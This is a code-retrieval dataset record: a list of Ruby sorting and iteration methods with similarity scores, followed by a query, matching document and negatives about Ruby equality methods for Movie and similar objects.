[ "def sort!(&block)\n return txactions.sort!(&block)\n end", "def sort_by( & block )\n\n load_parent_state\n \n return super\n\n end", "def sort( & block )\n\n load_parent_state\n \n return super\n \n end", "def merge_sort!(&block)\n become_clone_of merge_sort(&block)\n end", "def sort_by!( & block )\n\n return to_enum unless block_given?\n\n new_local_sort_order = [ ]\n @internal_array.size.times { |this_time| new_local_sort_order.push( this_time ) }\n new_local_sort_order.sort_by! { |this_index| block.call( @internal_array[ this_index ] ) }\n\n reorder_from_sort( new_local_sort_order )\n\n return self\n\n end", "def apply_sorting(chain)\n chain\n end", "def sorted_data &block\n @data.to_a.sort(&block)\n end", "def sort(&block)\n self.map{|*val| val.__svalue}.sort(&block)\n end", "def bubble_sort_by!(&_block)\n if block_given?\n bubble_sort! do |a, b|\n yield(a) <=> yield(b)\n end\n else\n to_enum :bubble_sort_by!\n end\n end", "def merge_sort_by(&_block)\n if block_given?\n merge_sort do |a, b|\n yield(a) <=> yield(b)\n end\n else\n to_enum :merge_sort_by\n end\n end", "def sort_by_without_hooks!( & block )\n \n @without_hooks = true\n\n sort_by!( & block )\n \n @without_hooks = false\n \n return self\n \n end", "def tsort_each_node(&aBlock)\n return dependencies.each(&aBlock)\n end", "def sort_by!( &block )\n @sheets = @sheets.sort_by( &block )\n end", "def sort_by(*arguments, &block)\n data.sort_by(*arguments, &block)\n end", "def sort_by(&block)\n super(&block).extend(OperationList)\n end", "def merge_sort_by!(&block)\n if block_given?\n become_clone_of merge_sort_by(&block)\n else\n to_enum :merge_sort_by!\n end\n end", "def sort_without_hooks!( & block )\n \n @without_hooks = true\n\n sort!\n \n @without_hooks = false\n \n return self\n \n end", "def bubble_sort_by(&block)\n if block_given?\n dup.bubble_sort_by!(&block)\n else\n to_enum :bubble_sort_by\n end\n end", "def tsort_each_node(&block)\n @dependencies.each_key(&block)\n end", "def sort_by!( &block )\n @data = skip_headers { |d| d.sort_by( &block ) }; self\n end", "def sort(block)\n @content.sort(block)\n end", "def tsort_each_node(&block)\n self.each_key(&block)\n end", "def sort_by! &block\n return @array.to_enum(:sort_by!) unless block_given?\n\n current_item = @array.at @current_index\n offset = @array.to_a[0...@current_index].count current_item\n\n @array.sort_by! &block\n\n center_indices_at (@array.to_a.index(current_item) + offset)\n\n self\n end", "def order_by(&blk)\n OrderedCollection.new(@things.sort_by(&blk))\n end", "def tsort_each_child(node, &block)\n query(:object => node) do |statement|\n block.call(statement.subject)\n end\n end", "def tsort_each_child(node, &block)\n query(:object => node) do |statement|\n block.call(statement.subject)\n end\n end", "def tsort_each_child(node, &block)\n query(:object => node) do |statement|\n block.call(statement.subject)\n end\n end", "def sort_by!(hash, &block)\n hash.replace(sort_by(hash, &block))\n end", "def sort(*arguments, &block)\n data.sort(*arguments, &block)\n end", "def sort_each(&block)\n\t\tnew_hash = int_sort\n\t\tnew_hash.each do |info|\n\t\t\tyield [info.key, info.value] if block_given?\n\t\tend\n\tend", "def order_by( &block )\n @order_by = block\n order\n self\n end", "def each(&block)\n\t\t\t@ordered.each(&block)\n\t\tend", "def each(&block)\n sorted_events.each do |event|\n yield event\n end\n end", "def each\n sorted_transactions.each do |t|\n yield t if block_given?\n end\n end", "def insertion_sort_by!(&_block)\n if block_given?\n insertion_sort! do |a, b|\n yield(a) <=> yield(b)\n end\n else\n to_enum :insertion_sort_by!\n end\n end", "def sort_todos(todos, &block)\n completed, incomplete = todos.partition { |todo| todo[:completed] }\n incomplete.each(&block)\n completed.each(&block)\n end", "def sort(start = nil, &block)\n result = []\n push = Proc.new { |v| result.unshift(v) }\n start ||= vertices[0]\n dfs({ :exit_vertex => push, :start => start })\n result.each { |v| block.call(v) } if block\n result\n end", "def sort!( &block )\n @sheets = @sheets.sort( &block )\n end", "def sort!( &block )\n @data = skip_headers { |d| d.sort( &block ) }; self\n end", "def bubble_sort_by(a)\n\treturn unless block_given?\n\t(1...a.length).each do |iter|\n\t\t(0...a.length-iter).each do |index|\n\t\t\tif yield(a[index],a[index+1])>0\n\t\t\t\ta[index], a[index+1] = a[index+1],a[index]\n\t\t\tend\n\t\tend\n\tend\n\ta\nend", "def sort_by!\n return to_enum unless block_given?\n @rownames = Hash[*@rownames.sort_by.with_index do |(rowname, i), rowid| [yield(Row.new(self, rowid, @rows[i])), rowid] end.flatten(1)]\n self\n end", "def sort(*args, &block)\n if !args.empty? || block\n @sort = Sort.new(*args, &block)\n self\n else\n @sort\n end\n end", "def sort_by(&block)\n self.class.new(values: super)\n end", "def sort(&block)\n self.class.new(super(&block), type: @type, api_client: @api_client)\n end", "def sort!( & block )\n \n block ||= @sort_order_reversed ? ::Array::ReverseSortBlock\n : ::Array::SortBlock\n \n new_local_sort_order = [ ]\n @internal_array.size.times { |this_time| new_local_sort_order.push( this_time ) }\n new_local_sort_order.sort! do |index_one, index_two| \n block.call( @internal_array[ index_one ], @internal_array[ index_two ] )\n end\n\n reorder_from_sort( new_local_sort_order )\n \n return self\n\n end", "def randomize(&block)\n if block_given?\n self.sort {|x,y| yield x, y}\n else\n self.sort_by { rand }\n end\n end", "def sort_entries; end", "def execute\n perform_filtration.then(&method(:sort))\n end", "def tsort_each_node(&block)\n @table_names.each(&block)\n end", "def tsort_each_node(&block)\n all_questions_descendants.each(&block)\n end", "def sort_todos(todos, &blk)\n complete_todos, incomplete_todos = todos.partition { |todo| todo[:complete] }\n # since we are only passing the todo item and not its ndx, we can yield the blk directly\n incomplete_todos.each(&blk)\n complete_todos.each(&blk)\n end", "def tsort_each_node # :yields: node\n raise NotImplementedError.new\n end", "def my_bubble_sort(list_to_sort)\n (0...list_to_sort.length).each do\n (0...list_to_sort.length - 1).each do |j|\n yield_result = yield(list_to_sort[j], list_to_sort[j + 1])\n next if yield_result.negative?\n\n swap = list_to_sort[j]\n list_to_sort[j] = list_to_sort[j + 1]\n list_to_sort[j + 1] = swap\n end\n end\n # implicit return\n list_to_sort\nend", "def insertion_sort_by(&block)\n if block_given?\n dup.insertion_sort_by!(&block)\n else\n to_enum :insertion_sort_by\n end\n end", "def sort(&block)\n self.class.new(values: super)\n end", "def merge_sort(&prc)\n end", "def sort_entries=(_arg0); end", "def each( args )\n\t\tsortby = args.select{ |v| v =~ /^[\\+\\-].*$/ }\n\t\tfilters = args-sortby\n\t\tstatuses = filters.select{ |i| @options.status.include?( i ) }\n\t\t#statuses = filters.select{ |i| @tags.include?( i ) }\n\t\tif statuses.length > 0\n\t\t\tfiltered = @cache.select{ |i| statuses.include?( i.data.status ) }\n\t\telse\n\t\t\tfiltered = @cache\n\t\tend\n\t\tsorted = filtered\n\t\tif sortby.length > 0\n\t\t\tsort = sortby[0][1, 100]\n\t\t\tdir = '+'==sortby[0][0,1] ? 1 : -1\n\t\t\tputs \"#{dir} #{sort} #{sortby[0][0]}\"\n\t\t\tsorted = filtered.sort{ |a,b| dir * (a.data.send( sort )<=> b.data.send( sort )) } \n\t\tend\n\t\tsorted.each do |i|\n\t\t\tyield( i )\n\t\tend\n\tend", "def patched_bogo_sort!\n return self if empty?\n\n bogo_private\n end", "def children_sort_by(*args, &blk)\n self.dup{ @contents = @contents.sort_by(*args, &blk) }\n end", "def each(&block)\n sorted_children.each do |name, child|\n yield(name, child)\n end\n end", "def bubble_sort_by(greetings)\n len = greetings.length\n flag = 1\n while flag == 1\n flag = 0\n (0..len - 2).each do |i|\n next unless yield(greetings[i + 1], greetings[i]).negative?\n\n temp = greetings[i]\n greetings[i] = greetings[i + 1]\n greetings[i + 1] = temp\n flag = 1\n end\n end\n greetings\nend", "def each(&block)\n manifest_entry.sort.each(&block)\n self\n end", "def each(&block)\n @ordered_elements.each(&block)\n end", "def procsTest\n arr = [0,1,2,19,17,3,4]\n puts arr.sort_by { |x,y| x <=> y }.to_s\n # but what if we want to reuse this sorting block ???\n sortingBlock = Proc.new { |x,y| x <=> y } # save block (object) into the variable\n puts \"---------- Proc call 1 ----------\"\n puts (arr.sort_by &sortingBlock).to_s # reuse it\n # proc IS THE SAME AS Proc.new\n selectBlock = proc { |x| (x < 2 or x > 17) or (x >= 2 and x <=3) }\n # select() method takes boolean as argument,\n # sort_by() method takes 0, 1, -1 values (equals, bigger, lesser)\n puts ((arr.select &selectBlock).sort_by &sortingBlock).to_s # reuse blocks\n puts \"--- and proc .call() \"\n puts selectBlock.call(1).to_s\nend", "def winner &block\n if block_given?\n @hands.sort(&block)\n end\n end", "def bubble_sort_by(arry)\n\t\tn = arry.length\n\n\t\tuntil n == 0\n\t\t\tnew_n = 0\n\t\t\tfor i in 1..(n-1)\n\t\t\t\tif yield(arry[i-1], arry[i])\n\t\t\t\t\tarry[i-1], arry[i] = arry[i], arry[i-1]\n\t\t\t\t\tnew_n = i\n\t\t\t\tend\n\t\t\tend\n\t\t\tn = new_n\n\t\tend\n\t\treturn arry\n\tend", "def bubble_sort_by(array)\n\nsorted = false\ncheck_it = array.length - 1 \n\tuntil sorted\n\t\tinorder = true \n\t\tcheck_it.times do |i|\n\t\t\ty = yield(array[i], array[i+1])\n\t\t\tif y == 1 #<=> returns that a > b\n\t\t\t\tarray[i], array[i+1] = array[i+1], array[i] \n\t\t\t\n\t\t\t\tinorder = false \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\t\tend\n\t\t\n\t\t\tputs array.inspect\t\n\t\t\tend \n\t \t\t\n\t \t\tcheck_it -= 1 \n\t\t\tputs \"end of yield runthrough\" #just to check\n\n\t\t\tif check_it == 0\t\t\t\n\t\t\t\tsorted = true \n\t\t\telsif inorder == true \n\t\t\t\tsorted = true\t\t\n\t\t\n\t\t\tend\n\t\t\n \tend\nend", "def grand_sorting_machine(array)\n\n\n\nend", "def sort!\n sort_if_needed\n self\n end", "def perform\n kahn_sorting if @sorted_list.empty?\n\n @sorted_list\n end", "def topsort(start = nil, &block)\n result = []\n go = true\n back = Proc.new { |e| go = false }\n push = Proc.new { |v| result.unshift(v) if go }\n start ||= vertices[0]\n dfs({ :exit_vertex => push, :back_edge => back, :start => start })\n result.each { |v| block.call(v) } if block\n result\n end", "def apply\n jobs.sort_by.with_index { |job, ix| order(job, ix) }\n end", "def insertion_sort!(&block)\n return self if length <= 1\n (1...length).each do |i|\n i.downto(1) do |j|\n break unless sort_compare(self[j - 1], self[j], &block) == 1\n swap(j - 1, j)\n end\n end\n self\n end", "def bubble_sort!(&prc)\n \n end", "def sort(&block)\n if block\n sorted = self.cards.sort(&block) \n return Hand.new(sorted)\n else \t\n sorted = quicksort(@cards) # self.cards.sort\n return Hand.new(sorted)\n end\n end", "def find_each(&block)\n relation.find_each_with_order(&block) if has_data?\n end", "def block_sort(arr)\n return arr if arr.size < 2\n\n block_start = 0\n block_stop = MIN - 1\n while block_stop < arr.size\n sorting = arr[block_start..block_stop]\n arr[block_start..block_stop] = insertion_sort(sorting)\n block_start += MIN\n if block_stop + MIN < arr.size\n block_stop += MIN\n else\n block_stop = arr.size\n end\n end\n if arr[block_start..block_stop].size < MIN * 2\n arr1 = arr[0...block_start]\n arr2 = arr[block_start..block_stop]\n return merge(arr1, arr2, arr1.size, arr2.size)\n end\n merge_sort(arr)\nend", "def bubble_sort!(&prc)\n\n end", "def sort_each_pair(&block)\n\t\tnew_hash = int_sort\n\t\tnew_hash.each do |info|\n\t\t\tyield info.key, info.value if block_given?\n\t\tend\n\tend", "def bubble_sort_by(arr)\n\tsorted = false\n\tuntil sorted do\n\t\tsorted = true\n\t\t0.upto(arr.size - 2) do |n|\n\t\t\tif yield(arr[n], arr[n + 1]) < 0\n\t\t\t\ttemp = arr[n]\n\t\t\t\tarr[n] = arr[n + 1]\n\t\t\t\tarr[n + 1] = temp\n\t\t\t\tsorted = false\n\t\t\tend\n\t\tend\n\tend\n\n\treturn arr\n\nend", "def list_sort(lists, &block)\n incomplete_lists = {}\n complete_lists = {}\n\n complete_lists, incomplete_lists = lists.partition {|list| is_complete?(list)}\n\n incomplete_lists.each { |list| yield list, lists.index(list) }\n complete_lists.each { |list| yield list, lists.index(list) }\n end", "def bubble_sort_by array\n\ti=0\n\tarray.length.times do\n\t\twhile i<array.length-1\t\t\n\t\t\tarray[i],array[i+1]=array[i+1],array[i] if yield(array[i],array[i+1])>0\n\t\t\ti+=1\n\t\tend\n\t\ti=0\n\tend\n\tarray\nend", "def bubble_sort_rec(&prc)\n end", "def bubble_sort_by(array)\n switch = true\n while switch\n switch = false\n (0...array.length - 1).each do |i|\n if yield(array[i], array[i + 1]).positive? \n array[i], array[i + 1] = array[i + 1], array[i]\n switch = true\n end\n end\n end\n array\nend", "def bigSorting(unsorted)\n\nend", "def initialize(&block)\r\n @arr = []\r\n @ordering = (block || :<.to_proc)\r\n end", "def bubble_sort_by(array)\n (array.length - 1).times do |i|\n \tif yield(array[i], array[i + 1]) < 0\n \t array[i], array[i + 1] = array[i + 1], array[i]\n \tend\n end\n print array\nend", "def bubble_sort!(&prc)\n end", "def bubble_sort!(&prc)\n end", "def stable_sort_by(list); end", "def quick_sort(&prc)\n end", "def my_quick_sort(&prc)\n\n end", "def sort\n\t@events = @events.sort_by { | e | e.time_from_start }\n\trecalc_delta_from_times()\n end", "def sort some_array # This \"wraps\" rec_sort so you don't have to pass rec_sort an empty array each iteration \n rec_sort some_array, []\nend", "def each\n @hexes.sort.each{ |h| yield h[1] }\n end", "def execute\n filter_by_user(context)\n .then(&method(:paginate))\n .then(&method(:sort))\n end", "def bubble_sort_by(arr, &block) # We could make this recursive a la V1 (above), but it's getting late\n if !block_given?\n puts \"Please include a block!\"\n end\n while true\n swaps = 0\n arr.each_index do |i|\n if i < arr.length - 1 # We haven't yet reached the end of the array\n if block.call(arr[i],arr[i+1]) > 0\n arr[i], arr[i + 1] = arr[i + 1], arr[i]\n swaps += 1\n end\n end\n end\n break if swaps == 0\n end\n puts arr\nend", "def sort(*args, &blk)\n self.dup{ @contents = @contents.sort(*args, &blk) }\n end", "def each(&block)\n list = []\n self.keys.sort.each do |sidx|\n list << [sidx, self[sidx]]\n end\n list.each(&block)\n end" ]
[ "0.70950073", "0.70397514", "0.70249504", "0.70231533", "0.70127213", "0.6961302", "0.68849146", "0.67775786", "0.67736244", "0.67492926", "0.67407036", "0.6718279", "0.67155004", "0.6702239", "0.66780865", "0.6677954", "0.6647473", "0.66168743", "0.6600235", "0.6566004", "0.6541902", "0.65178216", "0.6516822", "0.65141964", "0.65079886", "0.65079886", "0.65079886", "0.6466821", "0.64554656", "0.645405", "0.64529884", "0.6450106", "0.64405745", "0.6429431", "0.64007264", "0.639918", "0.6381639", "0.6334452", "0.6325946", "0.62938404", "0.6253918", "0.6239419", "0.6233472", "0.6210155", "0.62044036", "0.6172099", "0.6143524", "0.6119642", "0.61100125", "0.6098084", "0.60644674", "0.6059025", "0.60562956", "0.6032155", "0.6005202", "0.6004086", "0.59954715", "0.59902173", "0.59699285", "0.5968946", "0.59491813", "0.5938385", "0.59366804", "0.59161216", "0.5912157", "0.58988136", "0.5896494", "0.5873675", "0.5872762", "0.5861154", "0.5851456", "0.58412486", "0.5837558", "0.58266735", "0.58138186", "0.5808584", "0.58056235", "0.57796484", "0.5768535", "0.5765761", "0.5754535", "0.57538056", "0.57528305", "0.575129", "0.57320887", "0.5725593", "0.57185626", "0.5705156", "0.5705047", "0.5705047", "0.5697528", "0.56961393", "0.5682836", "0.5682531", "0.56803286", "0.5660783", "0.5652536", "0.5651957", "0.56508714", "0.5642027" ]
0.6036124
53
copy from this.copy(that) copies that into this
def copy(project) project.tickets.each do |ticket| copy_ticket = self.ticket!(:title => ticket.title, :description => ticket.description) ticket.comments.each do |comment| copy_ticket.comment!(:body => comment.body) sleep 1 end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def copy\n\t\t\treturn self.dup\n\t\tend", "def copy_to(other); end", "def copy\n dup\n end", "def copy\n Marshal.load(Marshal.dump(self))\n end", "def deepcopy\n\t\tMarshal.load(Marshal.dump(self))\n\tend", "def make_copy\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend", "def clone\n self.copy\n end", "def clone\n self.copy\n end", "def deep_copy\r\n Marshal.load(Marshal.dump(self))\r\n end", "def initialize_copy( other )\n\t\t\t@elem = other.elem.dup\n\t\t\tsuper\n\t\tend", "def initialize_copy(other)\n # self\n end", "def copy\n move(:copy)\n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def foorth_copy(name)\r\n copy = self.clone\r\n copy.reinitialize(name)\r\n copy\r\n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def initialize_copy(other)\n super\n @values = Hash[@values]\n @changed_columns = @changed_columns.dup if @changed_columns\n @errors = @errors.dup if @errors\n @this = @this.dup if @this\n self\n end", "def copy\n \n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def initialize_copy(other)\n @collection = other.collection\n @opts = other.opts.dup\n @selector = other.selector.dup\n end", "def copy_from(original)\n self.template = original.template\n self.position = original.position\n self.data = original.data\n self\n end", "def dup\n copy(false)\n end", "def initialize_copy(other)\n end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(other)\n super\n @values = @values.dup\n end", "def deep_copy\n deep_transform_values(&method(:_deep_copy))\n end", "def clone\n copy(false)\n end", "def initialize_copy(orig)\n #This is a stub, used for indexing\n end", "def copy(from, to)\n \n end", "def initialize_copy(other)\n @selector = other.selector.dup\n @options = other.options.dup\n @includes = other.inclusions.dup\n @context = nil\n end", "def copy\n self.class.new(@x,@y)\n end", "def initialize_copy(other)\n @steps = other.steps.map do |step|\n step.class.new(self, *step.args)\n end\n @content = other.content.dup\n @url_attributes = other.url_attributes.dup\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n super\n end", "def copy(other)\n other.instance_variables.each do |v| \n instance_variable_set v, other.instance_variable_get(v)\n end\n end", "def dup( )\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend", "def initialize_copy(other)\n self.meta = meta.dup\n end", "def initialize_copy(from)\n @set = from.instance_variable_get('@set').clone\n end", "def clone(source)\n copy(source, true)\n end", "def merge( other )\n clone.merge!( other )\n end", "def initialize_copy(other)\n @cells = {}\n other.cells.each do |k, cell|\n @cells[k] = cell.dup\n end\n super(other)\n end", "def __deep_copy__\n self.class.new(aliases, serializers, associations, aliased_associations) do |copy|\n each_pair do |key, value|\n copy.merge!(key => value.__deep_copy__)\n end\n end\n end", "def clone\n dup\n end", "def initialize_copy(*)\n @cache = @cache.dup\n @entries = @entries.dup\n end", "def copy_from(other)\n @stack = other.copy_stack\n end", "def initialize_copy(other)\n @series = other.series.dup\n @table = other.table.dup\n super(other)\n end", "def initialize_copy(other)\n super\n @values = Hash[@values]\n @changed_columns = @changed_columns.dup if @changed_columns\n @errors = @errors.dup if @errors\n self\n end", "def copy(copy)\n\t\t\treturn Alimento.new(copy.nombre,copy.proteinas,copy.carbohidratos,copy.lipidos,copy.gei,copy.terreno)\n\t\tend", "def clone\n @clone ||= super\n end", "def copy_to(other)\n copyable_attributes.each do |ivar|\n ivar = \"@#{ivar}\"\n other.instance_variable_set(ivar, instance_variable_get(ivar))\n end\n other.docstring = @docstring.to_raw\n other\n end", "def dup\n copy = super\n copy.clear_puzzle\n @puzzle.each_with_index do |entry, index|\n copy[index] = entry\n end\n copy\n end", "def initialize_copy(other)\n @__members__ = other.to_h\n freeze\n end", "def copy(from, to)\n @parent.gemset_copy(from, to)\n end", "def clone\n self\n end", "def copy_of *without, &block\n ASObj.from self, *without, &block\n end", "def deep_copy(obj); end", "def __copy_on_write__(*)\n super.tap do\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end", "def copy\n obj = self.dup\n obj.attributes = {\n :name => \"Copy of #{name}\",\n :active => false,\n :created_at => nil,\n :updated_at => nil\n }\n obj\n end", "def copy_attributes(other, duplicator)\n self.course = duplicator.options[:destination_course]\n self.default_reference_time = duplicator.duplicate(other.default_reference_time)\n\n other_reference_times = other.reference_times - [other.default_reference_time]\n self.reference_times = duplicator.duplicate(other_reference_times).unshift(default_reference_time)\n\n self.title = other.title\n self.description = other.description\n self.published = duplicator.options[:unpublish_all] ? false : other.published\n self.base_exp = other.base_exp\n self.time_bonus_exp = other.time_bonus_exp\n end", "def initialize_copy(other)\n @series = other.series.dup\n super(other)\n end", "def deep_copy\n Sass::Tree::Visitors::DeepCopy.visit(self)\n end", "def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end", "def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end", "def initialize_copy(other)\n @epoch, @freshness = other.epoch.dup, other.freshness\n end", "def initialize_copy(other)\n super\n @initial_values = other.initial_values.dup\n @missing_initial_values = other.send(:missing_initial_values).dup\n @previous_changes = other.previous_changes.dup if other.previous_changes\n self\n end", "def clone\n copy = super\n copy.members = @members.map {|m| m.clone }\n copy\n end", "def merge( other )\n\t\t\tself.dup.merge!( other )\n\t\tend", "def clone\n Marshal.load(Marshal.dump self)\n end", "def clone\n super\n end", "def merge( other )\n self.dup.merge!(other)\n end", "def dup\n other = super\n %w{tables table_alias unique_alias where tables key_value_tables}.each do |k|\n other.send(\"#{k}=\", other.send(k).dup)\n end\n other\n end", "def dup\n copy = super\n @grid = @grid.dup\n copy\n end", "def __deep_copy__\n self.class.new(aliases) do |copy|\n each do |entry|\n copy.push(entry.__deep_copy__)\n end\n end\n end", "def clone; end", "def clone; end", "def clone; end", "def initialize_copy(other)\n super(other)\n @metadata = other.metadata\n end", "def clone() end", "def copy\n ditto = self.class.new\n @images.each { |f| ditto << f.copy }\n ditto.scene = @scene\n ditto\n end", "def clone\n other = dup\n other.freeze if self.frozen?\n other\n end", "def initialize_copy(other)\n # Think the assertion which fails if the after_initialize callback goes at the end of the method is wrong. The\n # deleted clone method called new which therefore called the after_initialize callback. It then went on to copy\n # over the attributes. But if it's copying the attributes afterwards then it hasn't finished initializing right?\n # For example in the test suite the topic model's after_initialize method sets the author_email_address to\n # test@test.com. I would have thought this would mean that all cloned models would have an author email address\n # of test@test.com. However the test_clone test method seems to test that this is not the case. As a result the\n # after_initialize callback has to be run *before* the copying of the atrributes rather than afterwards in order\n # for all tests to pass. This makes no sense to me.\n callback(:after_initialize) if respond_to_without_attributes?(:after_initialize)\n cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)\n # CPK\n #cloned_attributes.delete(self.class.primary_key)\n self.class.primary_key.each {|key| cloned_attributes.delete(key.to_s)}\n\n @attributes = cloned_attributes\n clear_aggregation_cache\n @attributes_cache = {}\n @new_record = true\n ensure_proper_type\n\n if scope = self.class.send(:current_scoped_methods)\n create_with = scope.scope_for_create\n create_with.each { |att,value| self.send(\"#{att}=\", value) } if create_with\n end\n end", "def frozen_copy\n if frozen?\n self\n else\n dup.freeze\n end\n end", "def clone\n return Marshal.load(Marshal.dump(self))\n end", "def _clone\n self.class.new(self)\n end", "def copy &alter\n Rumor.new(hash).tap &alter\n end", "def initialize_copy(other)\n super\n @deserialized_values = Hash[other.deserialized_values]\n self\n end", "def initialize_copy(src) #:nodoc:\n @statements = src.statements.dup\n @args = src.args.dup\n end", "def copy(dest)\n raise NotImplementedError\n end", "def initialize_copy(other)\n super\n if o = other.instance_variable_get(:@original_deserialized_values)\n @original_deserialized_values = Hash[o]\n end\n self\n end", "def deepen_copy! copier, src\n @a = @a.map { | x | copier[x] }\n end", "def copy_of *without, &block\n JrdObj.from self, *without, &block\n end", "def copy_values_from(other)\n self.name = other.name\n self.contributor = other.contributor\n self.share_mode = other.share_mode\n self.update_mode = other.update_mode\n self.public_view = other.public_view\n self.public_download = other.public_download\n end", "def merge(other)\n dup.merge!(other)\n end" ]
[ "0.76714295", "0.7615847", "0.75631666", "0.75352615", "0.73786664", "0.7314824", "0.7305736", "0.7305736", "0.71516734", "0.71497935", "0.71256703", "0.7119499", "0.71008164", "0.71008164", "0.70856524", "0.7050348", "0.7034676", "0.7025417", "0.6992398", "0.69746256", "0.69698864", "0.6947891", "0.69414026", "0.68757755", "0.68757755", "0.68757755", "0.68757755", "0.68757755", "0.683632", "0.6825621", "0.6795493", "0.6788421", "0.6752368", "0.6751944", "0.6745777", "0.67438793", "0.67199296", "0.67199296", "0.67199296", "0.67199296", "0.67199296", "0.67091614", "0.6699983", "0.66957176", "0.6688226", "0.6687916", "0.66708845", "0.6669933", "0.6652849", "0.6647909", "0.66426414", "0.6634238", "0.66280866", "0.6627481", "0.66062814", "0.66043466", "0.66021746", "0.660086", "0.6592287", "0.6577254", "0.6570997", "0.6570527", "0.65629864", "0.65576875", "0.6539646", "0.65388185", "0.6538593", "0.65379584", "0.6534283", "0.6526044", "0.6526044", "0.65125316", "0.6501672", "0.64990574", "0.6484173", "0.6477585", "0.64559036", "0.64545405", "0.6441338", "0.6432809", "0.6430206", "0.6420897", "0.6420897", "0.6420897", "0.64202136", "0.64166254", "0.6414823", "0.64128435", "0.63938415", "0.63918597", "0.6388151", "0.63865703", "0.63850564", "0.6384488", "0.6380516", "0.6379357", "0.6357332", "0.63557744", "0.6345237", "0.6342704", "0.6339336" ]
0.0
-1
Movie objects are equal if and only if their id, type, name, votes, duration, rating, release_date, genres and plot attributes are the same.
def ==(other) [:id, :type, :name, :votes, :duration, :rating, :release_date, :genres, :plot, :under_development].all? do |m| other.respond_to?(m) && self.public_send(m) == other.public_send(m) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def eql?(other)\n return true if equal?(other)\n return false unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :gender].each do |m|\n return false if self.send(m) && other.send(m) && self.send(m) != other.send(m)\n end\n true\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n status == o.status &&\n rating == o.rating &&\n title == o.title &&\n url == o.url &&\n publisher_date == o.publisher_date &&\n business_id == o.business_id &&\n comments == o.comments &&\n content == o.content &&\n date == o.date &&\n author_name == o.author_name &&\n author_email == o.author_email &&\n location_id == o.location_id &&\n last_yext_update_time == o.last_yext_update_time &&\n publisher_id == o.publisher_id &&\n id == o.id\n end", "def equal?(other)\n return false unless other.is_a?(self.class)\n are_identical = false\n if self.title == other.title\n begin\n obj_id = self.object_id.to_s\n self.title += obj_id\n are_identical = (self.title == other.title)\n ensure\n self.title.sub(/#{obj_id}$/,'')\n end\n are_identical\n else\n false\n end\n end", "def ==(other_movie_source)\n type == other_movie_source.type && external_id.to_s == other_movie_source.external_id.to_s\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n ad_mode_begin == o.ad_mode_begin &&\n ad_mode_complete == o.ad_mode_complete &&\n bytes_delivered == o.bytes_delivered &&\n engagement_score == o.engagement_score &&\n play_rate == o.play_rate &&\n play_request == o.play_request &&\n video == o.video &&\n duration == o.duration &&\n video_engagement_1 == o.video_engagement_1 &&\n video_engagement_25 == o.video_engagement_25 &&\n video_engagement_50 == o.video_engagement_50 &&\n video_engagement_75 == o.video_engagement_75 &&\n video_engagement_100 == o.video_engagement_100 &&\n video_impression == o.video_impression &&\n name == o.name &&\n video_percent_viewed == o.video_percent_viewed &&\n video_seconds_viewed == o.video_seconds_viewed &&\n video_view == o.video_view\n end", "def ==(object)\n return false unless object.is_a?(self.class)\n \n self.identifiers == object.identifiers and self.title == object.title and self.journal_title == object.journal_title and\n self.book_title == object.book_title and self.article_title == object.article_title\n end", "def ==(object)\n self.observations == object.observations\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n format == o.format &&\n resolution == o.resolution &&\n aspect_ratio == o.aspect_ratio &&\n size == o.size &&\n fps == o.fps &&\n scale_to == o.scale_to &&\n quality == o.quality &&\n repeat == o.repeat &&\n mute == o.mute &&\n range == o.range &&\n poster == o.poster &&\n thumbnail == o.thumbnail &&\n destinations == o.destinations\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n user_id == o.user_id &&\n input_audio_id == o.input_audio_id &&\n output_audio_id == o.output_audio_id &&\n output_video_id == o.output_video_id &&\n reference_audio_id == o.reference_audio_id &&\n mode == o.mode &&\n status == o.status &&\n failure_reason == o.failure_reason &&\n target_loudness_mode == o.target_loudness_mode &&\n target_loudness == o.target_loudness &&\n output_format == o.output_format &&\n preset == o.preset &&\n bit_depth == o.bit_depth &&\n sample_rate == o.sample_rate &&\n review_comment == o.review_comment &&\n review_score == o.review_score &&\n mastering_matching_level == o.mastering_matching_level &&\n progression == o.progression &&\n bass_preservation == o.bass_preservation &&\n mastering == o.mastering &&\n mastering_algorithm == o.mastering_algorithm &&\n preserved == o.preserved &&\n retry_count == o.retry_count &&\n mastering_reverb == o.mastering_reverb &&\n mastering_reverb_gain == o.mastering_reverb_gain &&\n low_cut_freq == o.low_cut_freq &&\n high_cut_freq == o.high_cut_freq &&\n ceiling == o.ceiling &&\n ceiling_mode == o.ceiling_mode &&\n oversample == o.oversample &&\n limiting_error == o.limiting_error &&\n video_title == o.video_title &&\n video_status == o.video_status &&\n expire_at == o.expire_at &&\n created_at == o.created_at &&\n updated_at == o.updated_at\n end", "def ==(other)\n self.class == other.class &&\n attributes[\"_id\"] == 